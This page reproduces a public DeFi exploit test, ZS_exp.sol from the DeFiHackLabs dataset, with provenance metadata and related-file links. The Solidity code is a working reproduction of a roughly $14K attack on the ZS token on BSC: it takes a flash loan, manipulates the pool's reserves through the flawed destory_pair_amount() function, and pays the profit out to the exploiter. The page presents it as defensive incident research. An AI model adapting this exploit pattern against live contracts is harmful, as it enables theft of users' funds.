Public reproduction file
src/test/2023-10/ZS_exp.sol
Public reproduction file for dataset entry ZS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$14K8// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e9// Attack Contract : https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c59993010// Vulnerable Contract : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc11// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xe2e87090f47c82eed3697297763edfad8e9689d2da7a4325541087d77432f54f12// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xbc88aa6057f9da6f88e28bc908baad111ae7545e69fb0c90fbdfd485c9e7219214// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L155317// @Analysis18// Post-mortem :19// Twitter Guy : https://x.com/MetaSec_xyz/status/171118969753451332720// Hacking God :22interface IZS is IERC20 {23 function Burnamount() external view returns (uint256);25 function destory_pair_amount() external;26}28contract ZSExploit is BaseTestWithBalanceLog {29 IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);30 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);31 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);32 IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));33 Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);34 Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);36 uint256 private constant blocknumToForkFrom = 32_429_591;38 function setUp() public {39 vm.createSelectFork("bsc", blocknumToForkFrom);40 vm.label(address(ZS), "ZS");41 vm.label(address(BUSDT), "BUSDT");42 vm.label(address(WBNB), "WBNB");43 vm.label(address(PancakeRouter), "PancakeRouter");44 vm.label(address(BUSDT_USDC), "BUSDT_USDC");45 vm.label(address(ZS_BUSDT), "ZS_BUSDT");46 }48 function testExploit() public {49 deal(address(this), 0.1 ether);50 deal(address(BUSDT), address(this), 0);51 // First tx52 AttackContract attackContract = new AttackContract{value: address(this).balance}();53 vm.roll(block.number + 2);54 emit log_named_decimal_uint(55 "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()56 );57 // Second tx58 attackContract.exploitZS();60 emit log_named_decimal_uint(61 "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()62 );63 }64}66contract AttackContract is Test {67 IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);68 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);69 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);70 IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));71 Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);72 Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);73 address private immutable exploiter;75 // Calling ZS token in constructor here is crucial because of ZS transfer function logic76 // https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L148077 constructor() payable {78 exploiter = msg.sender;79 BUSDT.approve(address(PancakeRouter), type(uint256).max);80 WBNBToBUSDT();81 BUSDTToZS();82 BUSDT.transfer(address(ZS_BUSDT), 1);83 ZS.transfer(address(ZS_BUSDT), 1e18);84 ZS_BUSDT.sync();85 }87 function exploitZS() external {88 uint256 ZSAmountOut = (ZS.balanceOf(address(ZS_BUSDT)) - ZS.Burnamount()) - 1;89 address[] memory path = new address[](2);90 path[0] = address(BUSDT);91 path[1] = address(ZS);92 uint256[] memory amountsIn = PancakeRouter.getAmountsIn(ZSAmountOut, path);93 uint256 flashBUSDTAmount = (amountsIn[0] + 1000e18) - BUSDT.balanceOf(address(this));94 bytes memory data = abi.encode(flashBUSDTAmount);95 BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, data);96 }98 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {99 uint256 amountToRepayFlash = abi.decode(data, (uint256));100 address[] memory path = new address[](2);101 path[0] = address(BUSDT);102 path[1] = address(ZS);103 uint256[] memory amountsOut = PancakeRouter.getAmountsOut(BUSDT.balanceOf(address(this)) - 1000e18, path);104 ZS_BUSDT.swap(amountsOut[1], 0, address(this), bytes("_"));106 // Call to flawed function107 ZS.destory_pair_amount();108 path[0] = address(ZS);109 path[1] = address(BUSDT);110 amountsOut = PancakeRouter.getAmountsOut(ZS.balanceOf(address(this)), path);111 BUSDT.transfer(address(ZS_BUSDT), 1);112 ZS.transfer(address(ZS_BUSDT), ZS.balanceOf(address(this)));113 ZS_BUSDT.swap(0, amountsOut[1], address(this), bytes(""));115 BUSDT.transfer(address(BUSDT_USDC), amountToRepayFlash + fee0);116 BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));117 }119 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {120 BUSDT.transfer(address(ZS_BUSDT), BUSDT.balanceOf(address(this)) - 1000e18);121 }123 function WBNBToBUSDT() private {124 address[] memory path = new address[](2);125 path[0] = address(WBNB);126 path[1] = address(BUSDT);127 PancakeRouter.swapExactETHForTokens{value: address(this).balance}(128 0, path, address(this), block.timestamp + 1000129 );130 }132 function BUSDTToZS() private {133 address[] memory path = new address[](2);134 path[0] = address(BUSDT);135 path[1] = address(ZS);136 PancakeRouter.swapExactTokensForTokens(137 BUSDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp + 1000138 );139 }140}Analysis
Dataset entry
Public Foundry test for “ZS” (2023-10-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
- Attack Contract
0xa905ff8853edc498a2acddfdfac4a56c2c599930
- Vulnerable Contract
0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc
- Twitter: https://x.com/MetaSec_xyz/status/1711189697534513327
- Explorer: https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
- Explorer: https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c599930
- Explorer: https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc
- Explorer: https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1553
- Explorer: https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1480
File record
- Name
- ZS
- Path
- src/test/2023-10/ZS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7529ea8c4a9a9ff19b49e58de69a7a35c590ee81
- Language
- Solidity
- Size
- 141 lines
- Date
- 2023-10-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/ZS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7529ea8c4a9a9ff19b49e58de69a7a35c590ee81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.